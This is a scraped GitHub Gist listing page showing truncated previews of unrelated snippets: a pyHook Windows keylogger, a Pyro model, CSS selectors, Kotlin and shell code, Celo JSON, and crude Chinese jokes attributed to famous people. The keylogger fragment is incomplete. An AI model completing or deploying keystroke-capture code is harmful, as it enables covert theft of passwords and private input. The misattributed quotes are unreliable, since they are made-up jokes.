Skip to content
Please note that GitHub no longer supports Internet Explorer.

We recommend upgrading to the latest Microsoft Edge, Google Chrome, or Firefox.

Learn more

Instantly share code, notes, and snippets.

@davidlares
davidlares / keylogger.py
Created Feb 3, 2020
A simple Python 2.x keylogger script for Windows OS (w pyHook and Pythoncom)
View keylogger.py
#!/usr/bin/python
import pythoncom, pyHook
def keypressed(event):
# variable that will handle the keystrokes
global store
# evaluate the Enter key
if event.Ascii == 13:
View gist:0a54b872a0d50cb2e9eb27605fdbb0df
### Learning Over-hypotheses , i.e posterior over out hyper-parameters ###
def model(data = data):
alpha = pyro.sample("alpha", dist.Gamma(1.0,1.0))
betas = pyro.sample("betas", dist.Dirichlet(torch.ones(colors)))
with pyro.plate("thetas", len(data)):
pyro.sample("test", \
dist.DirichletMultinomial((alpha*betas), bag_samples),
obs = torch.tensor(data))
View attributes.css
Seven different types of CSS attribute selectors
// This attribute exists on the element
[value]
// This attribute has a specific value of cool
[value='cool']
// This attribute value contains the word cool somewhere in it
[value*='cool']
@scottywz
scottywz / tst-separator.url
Created Feb 3, 2020
Tree Style Tab separator data: URI (released under CC0)
View tst-separator.url
data:text/html,<html id="separator" data-length="30"> <link rel="shortcut icon" type="image/png" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVQIHWP4zwAAAgEBAMVfG14AAAAASUVORK5CYII=" /><script>document.title = "\u2013".repeat(Number(document.documentElement.dataset.length));</script>
@zerodel
zerodel / wuneihan.md
Created Feb 3, 2020
[荤段子-语录]
View wuneihan.md

你以为的林荫小道,其实早已车水马龙——莎士比亚 即使那个地方被无数人留下痕迹,但我们依然向往——郭沫若 当你能轻松进入的时候,你就应该明白,不是你厉害,而是对方能够容忍你的渺小——保尔柯察金 即使那里成了黑洞、也是我一生想探索的地方。––霍金 你向往的林荫小路,其实每个清晨和夜晚都挂满了白霜————列夫·坎窝德基 你以为的粉红色,早已被岁月抹黑!——基尔 当你看到一个会发光的洞时,毫无疑问,那是通往新大陆的通道——哥伦布 即使大水一直在泄洪,但是我们依旧奋不顾身的要堵住缺口。直至精疲力尽。——大禹(治水篇) 你以为她只是为别人开过门,其实里边死过人 ——鲁班一号 那个地方即使被许多人留下痕迹 但我坚信他们始终没有到顶- - -释迦牟尼

View SpaghettiActivity.kt
class MainActivity : AppCompatActivity() {
var username: String? = null
var passwordValue: String? = null
var passwordField: EditText? = null
val listener = object : TextWatcher {
override fun afterTextChanged(s: Editable?) {}
override fun beforeTextChanged(s: CharSequence?, start: Int, count: Int, after: Int) {}
override fun onTextChanged(s: CharSequence?, start: Int, before: Int, count: Int) {
username = s.toString()
View results.txt
Test results
Here is some test output
Goodbye
@FrankHassanabad
FrankHassanabad / test_saved_objects.sh
Created Feb 3, 2020
Test saved objects and duplicate issues part 1
View test_saved_objects.sh
#!/bin/sh
#
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.
#
set -e
./check_env_variables.sh
View results.txt
Test results
Here is some test output
Goodbye
View celo-metadata2.json
{
"claims": [
{
"timestamp": 1580677716,
"type": "ACCOUNT",
"address": "0x0BCDF73c45D99F33D1d8354980d7ca73C4cF72db"
}
],
"meta": {
"address": "0x7F35dE684364C7B45B3b257777705A17fcd78eFB",
You can’t perform that action at this time.